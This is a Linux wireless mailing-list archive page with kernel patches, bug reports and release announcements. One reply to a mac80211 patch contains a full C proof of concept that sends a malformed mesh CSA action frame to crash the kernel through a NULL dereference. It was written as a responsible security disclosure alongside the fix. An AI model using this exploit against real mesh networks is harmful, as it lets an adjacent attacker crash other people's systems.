finished, but because the work queue waits for wiphy_lock, that
would never happen.
Moving the call to rsi_disconnect avoids the lock up.
Signed-off-by: Ville Nummela <ville.nummela@kempower.com>
---
Changes since v1:
- Fix issues reported by checkpatch
drivers/net/wireless/rsi/rsi_91x_mac80211.c | 17 ++++++++++++++++-
drivers/net/wireless/rsi/rsi_91x_usb.c | 2 ++
drivers/net/wireless/rsi/rsi_common.h | 1 +
3 files changed, 19 insertions(+), 1 deletion(-)
diff --git a/drivers/net/wireless/rsi/rsi_91x_mac80211.c
b/drivers/net/wireless/rsi/rsi_91x_mac80211.c
index c7ae8031436a..3faf2235728b 100644
--- a/drivers/net/wireless/rsi/rsi_91x_mac80211.c
+++ b/drivers/net/wireless/rsi/rsi_91x_mac80211.c
@@ -325,6 +325,22 @@ void rsi_mac80211_detach(struct rsi_hw *adapter)
}
EXPORT_SYMBOL_GPL(rsi_mac80211_detach);
+/**
+ * rsi_mac80211_rfkill_exit() - This function is used to stop rfkill polling
+ * when the device is removed.
+ * @adapter: Pointer to the adapter structure.
+ *
+ * Return: None.
+ */
+void rsi_mac80211_rfkill_exit(struct rsi_hw *adapter)
+{
+ struct ieee80211_hw *hw = adapter->hw;
+
+ if (hw)
+ wiphy_rfkill_stop_polling(hw->wiphy);
+}
+EXPORT_SYMBOL_GPL(rsi_mac80211_rfkill_exit);
+
/**
* rsi_indicate_tx_status() - This function indicates the transmit status.
* @adapter: Pointer to the adapter structure.
@@ -422,7 +438,6 @@ static void rsi_mac80211_stop(struct ieee80211_hw
*hw, bool suspend)
rsi_dbg(ERR_ZONE, "===> Interface DOWN <===\n");
mutex_lock(&common->mutex);
common->iface_down = true;
- wiphy_rfkill_stop_polling(hw->wiphy);
/* Block all rx frames */
rsi_send_rx_filter_frame(common, 0xffff);
diff --git a/drivers/net/wireless/rsi/rsi_91x_usb.c
b/drivers/net/wireless/rsi/rsi_91x_usb.c
index d83204701e27..8765cac6f875 100644
--- a/drivers/net/wireless/rsi/rsi_91x_usb.c
+++ b/drivers/net/wireless/rsi/rsi_91x_usb.c
@@ -877,6 +877,8 @@ static void rsi_disconnect(struct usb_interface
*pfunction)
if (!adapter)
return;
+ rsi_mac80211_rfkill_exit(adapter);
+
rsi_mac80211_detach(adapter);
if (IS_ENABLED(CONFIG_RSI_COEX) && adapter->priv->coex_mode > 1 &&
diff --git a/drivers/net/wireless/rsi/rsi_common.h
b/drivers/net/wireless/rsi/rsi_common.h
index 7aa5124575cf..591602beeec6 100644
--- a/drivers/net/wireless/rsi/rsi_common.h
+++ b/drivers/net/wireless/rsi/rsi_common.h
@@ -79,6 +79,7 @@ static inline int rsi_kill_thread(struct rsi_thread *handle)
}
void rsi_mac80211_detach(struct rsi_hw *hw);
+void rsi_mac80211_rfkill_exit(struct rsi_hw *hw);
u16 rsi_get_connected_channel(struct ieee80211_vif *vif);
struct rsi_hw *rsi_91x_init(u16 oper_mode);
void rsi_91x_deinit(struct rsi_hw *adapter);
--
2.34.1
^ permalink raw reply related
* Re: [PATCH net] wifi: mac80211: fix NULL deref in mesh_matches_local()
From: Xiang Mei @ 2026-03-18 4:41 UTC (permalink / raw)
To: security; +Cc: netdev, johannes, linux-wireless, bestswngs
In-Reply-To: <20260318034244.2595020-1-xmei5@asu.edu>
On Tue, Mar 17, 2026 at 08:42:44PM -0700, Xiang Mei wrote:
> mesh_matches_local() unconditionally dereferences ie->mesh_config to
> compare mesh configuration parameters. When called from
> mesh_rx_csa_frame(), the parsed action-frame elements may not contain a
> Mesh Configuration IE, leaving ie->mesh_config NULL and triggering a
> kernel NULL pointer dereference.
>
> The other two callers are already safe:
> - ieee80211_mesh_rx_bcn_presp() checks !elems->mesh_config before
> calling mesh_matches_local()
> - mesh_plink_get_event() is only reached through
> mesh_process_plink_frame(), which checks !elems->mesh_config, too
>
> mesh_rx_csa_frame() is the only caller that passes raw parsed elements
> to mesh_matches_local() without guarding mesh_config. An adjacent
> attacker can exploit this by sending a crafted CSA action frame that
> includes a valid Mesh ID IE but omits the Mesh Configuration IE,
> crashing the kernel.
>
> The captured crash log:
>
> Oops: general protection fault, probably for non-canonical address ...
> KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
> Workqueue: events_unbound cfg80211_wiphy_work
> [...]
> Call Trace:
> <TASK>
> ? __pfx_mesh_matches_local (net/mac80211/mesh.c:65)
> ieee80211_mesh_rx_queued_mgmt (net/mac80211/mesh.c:1686)
> [...]
> ieee80211_iface_work (net/mac80211/iface.c:1754 net/mac80211/iface.c:1802)
> [...]
> cfg80211_wiphy_work (net/wireless/core.c:426)
> process_one_work (net/kernel/workqueue.c:3280)
> ? assign_work (net/kernel/workqueue.c:1219)
> worker_thread (net/kernel/workqueue.c:3352)
> ? __pfx_worker_thread (net/kernel/workqueue.c:3385)
> kthread (net/kernel/kthread.c:436)
> [...]
> ret_from_fork_asm (net/arch/x86/entry/entry_64.S:255)
> </TASK>
>
> This patch adds a NULL check for ie->mesh_config at the top of
> mesh_matches_local() to return false early when the Mesh Configuration
> IE is absent.
>
> Fixes: 2e3c8736820b ("mac80211: support functions for mesh")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/mac80211/mesh.c | 3 +++
> 1 file changed, 3 insertions(+)
>
> diff --git a/net/mac80211/mesh.c b/net/mac80211/mesh.c
> index 28624e57aa499..8fdbdf9ba2a9e 100644
> --- a/net/mac80211/mesh.c
> +++ b/net/mac80211/mesh.c
> @@ -79,6 +79,9 @@ bool mesh_matches_local(struct ieee80211_sub_if_data *sdata,
> * - MDA enabled
> * - Power management control on fc
> */
> + if (!ie->mesh_config)
> + return false;
> +
> if (!(ifmsh->mesh_id_len == ie->mesh_id_len &&
> memcmp(ifmsh->mesh_id, ie->mesh_id, ie->mesh_id_len) == 0 &&
> (ifmsh->mesh_pp_id == ie->mesh_config->meshconf_psel) &&
> --
> 2.43.0
>
Thanks for your attention for this bug.
The following information could help you to reproduce the bug:
Configs:
```
CONFIG_WIRELESS=y
CONFIG_CFG80211=y
CONFIG_MAC80211=y
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_HWSIM=y
CONFIG_RFKILL=y
```
To reproduce the crash, I attached the poc to this email:
```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#define BUF_SIZE 4096
#define MESH_ID "meshpoc"
#define MESH_FREQ 2412
#define WLAN_EID_CHANNEL_SWITCH 37
#define WLAN_EID_MESH_ID 114
struct nl_req {
struct nlmsghdr nlh;
struct genlmsghdr genl;
char buf[BUF_SIZE];
};
static uint16_t seq;
static void die(const char *s) { perror(s); exit(1); }
static void nla_put(struct nlmsghdr *n, uint16_t type, const void *d, size_t l)
{
struct nlattr *a = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
a->nla_type = type;
a->nla_len = NLA_HDRLEN + l;
if (d && l) memcpy((void *)a + NLA_HDRLEN, d, l);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(a->nla_len);
}
static void nla_put_u32(struct nlmsghdr *n, uint16_t t, uint32_t v)
{ nla_put(n, t, &v, 4); }
static void nla_put_flag(struct nlmsghdr *n, uint16_t t)
{ nla_put(n, t, NULL, 0); }
static int genl_send(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl a = { .nl_family = AF_NETLINK };
char resp[BUF_SIZE];
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++seq;
nlh->nlmsg_pid = getpid();
if (sendto(fd, nlh, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0)
return -errno;
ssize_t n = recv(fd, resp, sizeof(resp), 0);
if (n < 0) return -errno;
struct nlmsghdr *h = (void *)resp;
if (h->nlmsg_type == NLMSG_ERROR)
return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
return 0;
}
static int genl_resolve(int fd, const char *name)
{
struct nl_req req = {};
struct nlmsghdr *nlh = &req.nlh;
struct genlmsghdr *genl = NLMSG_DATA(nlh);
struct sockaddr_nl a = { .nl_family = AF_NETLINK };
char resp[BUF_SIZE];
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = ++seq;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*genl));
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
nla_put(nlh, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
if (sendto(fd, nlh, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0)
return -errno;
ssize_t n = recv(fd, resp, sizeof(resp), 0);
if (n < 0) return -errno;
struct nlmsghdr *h = (void *)resp;
if (h->nlmsg_type == NLMSG_ERROR)
return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
struct genlmsghdr *gh = NLMSG_DATA(h);
int rem = h->nlmsg_len - NLMSG_LENGTH(sizeof(*gh));
struct nlattr *at;
for (at = (void *)gh + GENL_HDRLEN; rem >= (int)sizeof(*at);
rem -= NLA_ALIGN(at->nla_len), at = (void *)at + NLA_ALIGN(at->nla_len))
if (at->nla_type == CTRL_ATTR_FAMILY_ID)
return *(uint16_t *)((void *)at + NLA_HDRLEN);
return -ENOENT;
}
static void get_mac(const char *ifname, uint8_t mac[6])
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) die("socket");
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) die("SIOCGIFHWADDR");
memcpy(mac, ifr.ifr_hwaddr.sa_data, 6);
close(fd);
}
static void if_down(const char *ifname)
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) return;
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags &= ~IFF_UP;
ioctl(fd, SIOCSIFFLAGS, &ifr);
close(fd);
}
static void if_up(const char *ifname)
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) die("socket");
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS");
close(fd);
}
/* Set interface type to MESH_POINT */
static int set_mesh_type(int fd, int nl80211, int ifindex)
{
struct nl_req req = {};
req.nlh.nlmsg_type = nl80211;
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
req.genl.cmd = NL80211_CMD_SET_INTERFACE;
nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
nla_put_u32(&req.nlh, NL80211_ATTR_IFTYPE, NL80211_IFTYPE_MESH_POINT);
return genl_send(fd, &req.nlh);
}
/* Join a mesh network */
static int join_mesh(int fd, int nl80211, int ifindex)
{
struct nl_req req = {};
req.nlh.nlmsg_type = nl80211;
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
req.genl.cmd = NL80211_CMD_JOIN_MESH;
nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
nla_put(&req.nlh, NL80211_ATTR_MESH_ID, MESH_ID, strlen(MESH_ID));
nla_put_u32(&req.nlh, NL80211_ATTR_WIPHY_FREQ, MESH_FREQ);
return genl_send(fd, &req.nlh);
}
/*
* Build the malformed CSA action frame:
* - Includes Mesh ID IE (passes the mesh_id_len + memcmp check)
* - Omits Mesh Configuration IE (elems->mesh_config stays NULL)
* -> mesh_matches_local() dereferences NULL -> kernel crash
*/
static size_t build_bad_frame(uint8_t *buf, const uint8_t da[6],
const uint8_t sa[6])
{
uint8_t *p = buf;
size_t idlen = strlen(MESH_ID);
memset(buf, 0, 256);
/* 802.11 mgmt header — action frame */
*(uint16_t *)p = htole16(0x00d0); p += 2;
p += 2;
memcpy(p, da, 6); p += 6;
memcpy(p, sa, 6); p += 6;
memcpy(p, sa, 6); p += 6;
p += 2;
/* Spectrum management: channel switch */
*p++ = 0; *p++ = 4;
/* Channel Switch IE */
*p++ = WLAN_EID_CHANNEL_SWITCH; *p++ = 3;
*p++ = 0; *p++ = 1; *p++ = 1;
/* Mesh ID IE — matches victim */
*p++ = WLAN_EID_MESH_ID; *p++ = idlen;
memcpy(p, MESH_ID, idlen); p += idlen;
/* Mesh Config IE intentionally OMITTED */
return p - buf;
}
/* Send raw frame via NL80211_CMD_FRAME */
static int tx_frame(int fd, int nl80211, int ifindex, void *frame, size_t len)
{
struct nl_req req = {};
req.nlh.nlmsg_type = nl80211;
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
req.genl.cmd = NL80211_CMD_FRAME;
nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
nla_put_u32(&req.nlh, NL80211_ATTR_WIPHY_FREQ, MESH_FREQ);
nla_put(&req.nlh, NL80211_ATTR_FRAME, frame, len);
nla_put_flag(&req.nlh, NL80211_ATTR_DONT_WAIT_FOR_ACK);
return genl_send(fd, &req.nlh);
}
int main(void)
{
uint8_t da[6], sa[6], frame[256];
int fd, nl80211, ret, idx0, idx1;
printf("[*] mesh_matches_local() NULL deref PoC\n");
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) die("socket");
struct sockaddr_nl local = { .nl_family = AF_NETLINK, .nl_pid = getpid() };
if (bind(fd, (void *)&local, sizeof(local)) < 0) die("bind");
nl80211 = genl_resolve(fd, "nl80211");
if (nl80211 < 0) { fprintf(stderr, "nl80211 not found\n"); return 1; }
idx0 = if_nametoindex("wlan0");
idx1 = if_nametoindex("wlan1");
if (!idx0 || !idx1) {
fprintf(stderr, "wlan0/wlan1 not found. Need mac80211_hwsim radios=2\n");
return 1;
}
/* Step 1: Set both interfaces to mesh mode */
printf("[*] configuring mesh interfaces\n");
if_down("wlan0");
if_down("wlan1");
usleep(200000);
ret = set_mesh_type(fd, nl80211, idx0);
if (ret) { fprintf(stderr, "set wlan0 mesh: %d\n", ret); return 1; }
ret = set_mesh_type(fd, nl80211, idx1);
if (ret) { fprintf(stderr, "set wlan1 mesh: %d\n", ret); return 1; }
if_up("wlan0");
if_up("wlan1");
/* Step 2: Join mesh */
ret = join_mesh(fd, nl80211, idx0);
if (ret) { fprintf(stderr, "join wlan0: %d\n", ret); return 1; }
ret = join_mesh(fd, nl80211, idx1);
if (ret) { fprintf(stderr, "join wlan1: %d\n", ret); return 1; }
printf("[*] mesh joined on %d MHz\n", MESH_FREQ);
sleep(1);
/* Step 3: Send malformed frame */
get_mac("wlan0", da);
get_mac("wlan1", sa);
printf("[*] victim %02x:%02x:%02x:%02x:%02x:%02x\n",
da[0], da[1], da[2], da[3], da[4], da[5]);
printf("[*] attacker %02x:%02x:%02x:%02x:%02x:%02x\n",
sa[0], sa[1], sa[2], sa[3], sa[4], sa[5]);
size_t flen = build_bad_frame(frame, da, sa);
printf("[*] sending malformed CSA frame (%zu bytes)\n", flen);
ret = tx_frame(fd, nl80211, idx1, frame, flen);
if (ret) { fprintf(stderr, "tx failed: %d\n", ret); return 1; }
printf("[*] sent — check dmesg for null-ptr-deref in mesh_matches_local\n");
sleep(3);
return 0;
}
```
The intended crash was attached in the commit message. Please let me know
if you have any questions for the patch and poc.
Thanks,
Xiang
^ permalink raw reply
* [ANN] wireless-regdb: master-2026-03-18
From: Chen-Yu Tsai @ 2026-03-18 3:59 UTC (permalink / raw)
To: wireless-regdb, linux-wireless
A new release of wireless-regdb (master-2026-03-18) is available at:
https://www.kernel.org/pub/software/network/wireless-regdb/wireless-regdb-2026.03.18.tar.xz
The short log of changes since the master-2026-02-04 release is below.
--
Ben Hutchings (2):
wireless-regdb: Fix regulatory.bin signing with new M2Crypto
wireless-regdb: Replace M2Crypto with cryptography package
Chen-Yu Tsai (2):
wireless-regdb: Update regulatory rules for India (IN) on 6GHz
wireless-regdb: update regulatory database based on preceding changes
^ permalink raw reply
* [PATCH net] wifi: mac80211: fix NULL deref in mesh_matches_local()
From: Xiang Mei @ 2026-03-18 3:42 UTC (permalink / raw)
To: security; +Cc: netdev, johannes, linux-wireless, bestswngs, Xiang Mei
mesh_matches_local() unconditionally dereferences ie->mesh_config to
compare mesh configuration parameters. When called from
mesh_rx_csa_frame(), the parsed action-frame elements may not contain a
Mesh Configuration IE, leaving ie->mesh_config NULL and triggering a
kernel NULL pointer dereference.
The other two callers are already safe:
- ieee80211_mesh_rx_bcn_presp() checks !elems->mesh_config before
calling mesh_matches_local()
- mesh_plink_get_event() is only reached through
mesh_process_plink_frame(), which checks !elems->mesh_config, too
mesh_rx_csa_frame() is the only caller that passes raw parsed elements
to mesh_matches_local() without guarding mesh_config. An adjacent
attacker can exploit this by sending a crafted CSA action frame that
includes a valid Mesh ID IE but omits the Mesh Configuration IE,
crashing the kernel.
The captured crash log:
Oops: general protection fault, probably for non-canonical address ...
KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
Workqueue: events_unbound cfg80211_wiphy_work
[...]
Call Trace:
<TASK>
? __pfx_mesh_matches_local (net/mac80211/mesh.c:65)
ieee80211_mesh_rx_queued_mgmt (net/mac80211/mesh.c:1686)
[...]
ieee80211_iface_work (net/mac80211/iface.c:1754 net/mac80211/iface.c:1802)
[...]
cfg80211_wiphy_work (net/wireless/core.c:426)
process_one_work (net/kernel/workqueue.c:3280)
? assign_work (net/kernel/workqueue.c:1219)
worker_thread (net/kernel/workqueue.c:3352)
? __pfx_worker_thread (net/kernel/workqueue.c:3385)
kthread (net/kernel/kthread.c:436)
[...]
ret_from_fork_asm (net/arch/x86/entry/entry_64.S:255)
</TASK>
This patch adds a NULL check for ie->mesh_config at the top of
mesh_matches_local() to return false early when the Mesh Configuration
IE is absent.
Fixes: 2e3c8736820b ("mac80211: support functions for mesh")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
net/mac80211/mesh.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/net/mac80211/mesh.c b/net/mac80211/mesh.c
index 28624e57aa499..8fdbdf9ba2a9e 100644
--- a/net/mac80211/mesh.c
+++ b/net/mac80211/mesh.c
@@ -79,6 +79,9 @@ bool mesh_matches_local(struct ieee80211_sub_if_data *sdata,
* - MDA enabled
* - Power management control on fc
*/
+ if (!ie->mesh_config)
+ return false;
+
if (!(ifmsh->mesh_id_len == ie->mesh_id_len &&
memcmp(ifmsh->mesh_id, ie->mesh_id, ie->mesh_id_len) == 0 &&
(ifmsh->mesh_pp_id == ie->mesh_config->meshconf_psel) &&
--
2.43.0
^ permalink raw reply related
* RE: RTL8852BE fails to power on: "xtal si not ready" on ASUS TUF GAMING B650-PLUS WIFI
From: Ping-Ke Shih @ 2026-03-18 1:18 UTC (permalink / raw)
To: Jason Kakandris; +Cc: linux-wireless@vger.kernel.org
In-Reply-To: <CAFR=mzmENf-SqdFYzfdjb3KtA153rGT1VDVXUrXTvK+Dd6teSg@mail.gmail.com>
// mailing list doesn't want top-posting. I move the post to bottom.
Jason Kakandris <ikakandris@gmail.com> wrote:
> Στις Τρί 17 Μαρ 2026 στις 5:03 π.μ., ο/η Ping-Ke Shih
> <pkshih@realtek.com> έγραψε:
> >
> > Jason Kakandris <ikakandris@gmail.com> wrote:
> > > System Info
> > >
> > > Distro: Linux Mint 22.3 Zena (Ubuntu 24.04 base)
> > > Kernels tested: 6.14.0-37-generic, 6.17.0-14-generic (same failure on both)
> > > Motherboard: ASUS TUF GAMING B650-PLUS WIFI (Rev 1.xx)
> > > BIOS: v3827 (Feb 2026)
> > > CPU: AMD Ryzen 7 7700X
> > > Driver: rtw89 v7.0 (git commit d2f175e
> > >
> https://github.com/morrownr/rtw89/commit/d2f175eafa0a4ef9cc65e7073a77e60238c
> > > ae614)
> > > WiFi works in Windows: Yes
> > >
> > >
> > > Problem
> > > The RTL8852BE WiFi card fails to initialize with xtal si not ready error.
> No
> > > wireless interface is created.
> > >
> > >
> > > dmesg output
> > >
> > > rtw89_8852be_git 0000:08:00.0: loaded firmware rtw89/rtw8852b_fw-1.bin
> > > rtw89_8852be_git 0000:08:00.0: enabling device (0000 -> 0003)
> >
> > It looks like you didn't encounter D3Cold problem, but I think you can
> > give it a try [1].
> >
> > [1] https://bugzilla.kernel.org/show_bug.cgi?id=221213
> >
> > > rtw89_8852be_git 0000:08:00.0: xtal si not ready(R): offset=41
> > > rtw89_8852be_git 0000:08:00.0: xtal si not ready(W): offset=90 val=10 mask=10
> > > rtw89_8852be_git 0000:08:00.0: failed to power on
> > > rtw89_8852be_git 0000:08:00.0: failed to setup chip information
> > > rtw89_8852be_git 0000:08:00.0: probe with driver rtw89_8852be_git failed
> with
> > > error -110
> >
> > These messages appear when first booting or after system resume?
> > Recently we update something related to suspend/resume problem.
> > Please use the latest driver (kernel 7.0-rc4) with the latest
> > firmware (v0.29.29.15).
> >
> > >
> > >
> > > lspci
> > >
> > > 08:00.0 Network controller [0280]: Realtek Semiconductor Co., Ltd. RTL8852BE
> > > PCIe 802.11ax Wireless Network Controller [10ec:b852]
> > > Subsystem: AzureWave RTL8852BE PCIe 802.11ax Wireless Network Controller
> > > [1a3b:5471]
> > >
> > > What I've tried
> > >
> > > Kernel parameter pcie_aspm=off
> > > Module parameters: disable_clkreq=Y disable_aspm_l1=Y disable_aspm_l1ss=Y
> > > disable_ps_mode=y
> >
> > As you try this, please ensure that add a configuration file to /etc/module.d/,
> > and cold reboot.
> >
> > > Updated BIOS from v3057 to v3827
> > > Updated firmware files via make install_fw
> > > Tested on kernels 6.14 and 6.17 — same failure on both
> > > In-kernel driver and morrownr out-of-tree driver — same failure
> > > WiFi works fine in Windows on the same hardware
> >
> - The error appears on first boot, not after resume. It has never
> worked on Linux.
> - I have set up a udev rule to disable D3Cold for the device and will
> test with a cold boot. I will also try the latest firmware
> (v0.29.29.15) and report back.
> Where can I obtain firmware v0.29.29.15? Is it rtw8852b_fw-2.bin from
> linux-firmware.git?
>
Yes.
I review the "xtal si not ready" messages again. It looks like it fails to
power-on before downloading firmware, so firmware might not the cause
you are encountering.
Please try to remove module and reinstall module after booting to see how
it will be. Open a terminal, manually do below commands (try more than
one times), and share kernel log to us
rmmod rtw89_8852be
modprobe rtw89_8852be
Ping-Ke
^ permalink raw reply
* RE: [BUG] wifi: rtw88: Hard system freeze on RTL8821CE when power_save is enabled (LPS/ASPM conflict)
From: Ping-Ke Shih @ 2026-03-18 0:58 UTC (permalink / raw)
To: LB F; +Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org
In-Reply-To: <CALdGYqRbkV7_w7WDiqD-vYMa8MUFV7nSYz-=q2FzotgLHRy=HA@mail.gmail.com>
LB F <goainwo@gmail.com> wrote:
> Ping-Ke Shih <pkshih@realtek.com> wrote:
> > To reproduce this reliable, you need to remove driver ko and mac80211.ko,
> > and reinstall them.
> >
> > However, you have confirmed this is the symptom. I think only if you
> > want to dig why the rate reported by hardware is weird, otherwise we
> > can ignore this warning.
>
> Following your suggestion, I performed a full stack reload including
> mac80211.ko and cfg80211.ko, and was able to reproduce the warning:
>
> [152.226055] Rate marked as a VHT rate but data is invalid: MCS: 0, NSS: 0
> [152.226057] WARNING: net/mac80211/rx.c:5491 at
> ieee80211_rx_list+0x177/0x1020 [mac80211]
> [152.226336] CPU: 2 UID: 0 PID: 638 Comm: irq/56-rtw_pci Tainted: G
> IOE 6.19.7-1-cachyos
> [152.226344] Hardware name: HP HP Notebook/81F0, BIOS F.50 11/20/2020
>
> One observation worth mentioning: the warning triggered approximately
> 72 seconds after initial association, coinciding with a Bluetooth
> device connecting to the system. This may suggest the NSS=0 condition
> occurs during BT coexistence negotiation rather than during normal
> WiFi traffic. I am not sure if this is relevant, but I wanted to
> mention it in case it helps narrow down the root cause.
>
> I also noticed the offset is now +0x177, which matches exactly what
> you showed from v6.19.6. The earlier +0x183 was likely an artifact of
> CachyOS's LTO optimizations while mac80211 had been resident for a
> long time.
>
> As you noted, this appears to be a separate issue from the freeze and
> h2c timeout problems, so I leave it to your judgment whether it
> warrants further investigation.
I add a printk to show the case VHT and NSS==0 as below. Please help to
collect the output, and then I can see what it happened.
diff --git a/drivers/net/wireless/realtek/rtw88/rx.c b/drivers/net/wireless/realtek/rtw88/rx.c
index 8b0afaaffaa0..a4e3a3bce748 100644
--- a/drivers/net/wireless/realtek/rtw88/rx.c
+++ b/drivers/net/wireless/realtek/rtw88/rx.c
@@ -230,6 +230,11 @@ static void rtw_rx_fill_rx_status(struct rtw_dev *rtwdev,
&rx_status->nss);
}
+ if (rx_status->encoding == RX_ENC_VHT && rx_status->nss == 0) {
+ printk("VHT NSS=0 pkt_stat->rate=0x%x rx_status->band=%d rx_status->rate_idx=%d\n",
+ pkt_stat->rate, rx_status->band, rx_status->rate_idx);
+ }
+
rx_status->flag |= RX_FLAG_MACTIME_START;
rx_status->mactime = pkt_stat->tsf_low;
>
> ---
>
> I would like to take this opportunity to thank you sincerely for your
> time, patience, and expertise throughout this whole process. From your
> very first response to the final v2 patch, your guidance made it
> possible to properly identify and resolve a bug that had been causing
> real frustration for users of this hardware for a long time.
I also thanks for your time and help. :)
Ping-Ke
^ permalink raw reply related
* Re: [syzbot] [wireless?] WARNING in cfg80211_chandef_create
From: Lachlan Hodges @ 2026-03-18 0:53 UTC (permalink / raw)
To: syzbot; +Cc: johannes, linux-kernel, linux-wireless, netdev, syzkaller-bugs
In-Reply-To: <69b992c2.050a0220.248e02.0132.GAE@google.com>
> HEAD commit: b84a0ebe421c Add linux-next specific files for 20260313
I think this didn't have your fix already?
lachlan
^ permalink raw reply
* Re: pull request: iwlwifi firmware update 2026-03-17
From: Dmitry Baryshkov @ 2026-03-18 0:48 UTC (permalink / raw)
To: Korenblit, Miriam Rachel
Cc: linux-firmware@kernel.org, kyle@infradead.org, Josh Boyer,
Hutchings, Ben, Dreyfuss, Haim, Yang, You-Sheng, Linux Wireless
In-Reply-To: <DM3PPF63A6024A96E4ADFF6BC9FB4AAB041A341A@DM3PPF63A6024A9.namprd11.prod.outlook.com>
On Tue, Mar 17, 2026 at 09:21:11PM +0000, Korenblit, Miriam Rachel wrote:
> Hi,
>
> This contains the firmware of core102 for Bz/Wh.
> This was missing in the core102 release.
>
> Please pull or let me know if there are any issues.
Merged, thank you!
https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/963
>
> Thanks,
> Miri
> ---
>
> The following changes since commit 81f761d1b5fd51469d87d1633a959dbff4785f58:
>
> Merge branch 'mt792x-bt' into 'main' (2026-03-17 17:33:37 +0000)
>
> are available in the Git repository at:
>
> http://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/linux-firmware.git tags/iwlwifi-fw-2026-03-17
>
> for you to fetch changes up to abcbad3cc9588bc6e2f410b5984642c9cd46520b:
>
> iwlwifi: add Bz/Wh FW for core102-56 release (2026-03-17 23:14:14 +0200)
>
> ----------------------------------------------------------------
> Release Bz/Wh of Core102
>
> jenkins-Core_manual_signed_core102-56
>
> ----------------------------------------------------------------
> Miri Korenblit (1):
> iwlwifi: add Bz/Wh FW for core102-56 release
>
> WHENCE | 4 ++++
> intel/iwlwifi/iwlwifi-bz-b0-wh-b0-c102.ucode | Bin 0 -> 2116884 bytes
> 2 files changed, 4 insertions(+)
> create mode 100644 intel/iwlwifi/iwlwifi-bz-b0-wh-b0-c102.ucode
--
With best wishes
Dmitry
^ permalink raw reply
* Re: [PATCH] wifi: ath12k: fix HE/EHT capability handling on big endian
From: Jeff Johnson @ 2026-03-18 0:17 UTC (permalink / raw)
To: Alexander Wilhelm, Jeff Johnson; +Cc: linux-wireless, ath12k, linux-kernel
In-Reply-To: <20260317-fix-he-eht-capabilities-on-big-endian-v1-1-e7b937b32768@westermo.com>
On 3/17/2026 3:59 AM, Alexander Wilhelm wrote:
> Currently the driver uses u32 data types for the HE/EHT capabilities in
> CPU‑native order. However, the ieee80211.h header defines these fields as
> u8 arrays. This causes the ieee80211 registration failure on big‑endian
> platforms, as shown in the following log:
>
> ath12k_pci 0001:01:00.0: BAR 0: assigned [mem 0xc00000000-0xc001fffff 64bit]
> ath12k_pci 0001:01:00.0: MSI vectors: 1
> ath12k_pci 0001:01:00.0: Hardware name: qcn9274 hw2.0
> ath12k_pci 0001:01:00.0: qmi dma allocation failed (29360128 B type 1), will try later with small size
> ath12k_pci 0001:01:00.0: memory type 10 not supported
> ath12k_pci 0001:01:00.0: chip_id 0x0 chip_family 0xb board_id 0x1005 soc_id 0x401a2200
> ath12k_pci 0001:01:00.0: fw_version 0x111300d6 fw_build_timestamp 2024-08-06 08:43 fw_build_id QC_IMAGE_VERSION_STRING=WLAN.WBE.1.1.1-00214-QCAHKSWPL_SILICONZ-1
> ath12k_pci 0001:01:00.0: leaving PCI ASPM disabled to avoid MHI M2 problems
> ath12k_pci 0001:01:00.0: Invalid module id 2
> ath12k_pci 0001:01:00.0: failed to parse tlv -22
> ath12k_pci 0001:01:00.0: ieee80211 registration failed: -22
> ath12k_pci 0001:01:00.0: failed register the radio with mac80211: -22
> ath12k_pci 0001:01:00.0: failed to create pdev core: -22
> ath12k_pci 0001:01:00.0: qmi failed set mode request, mode: 4, err = -110
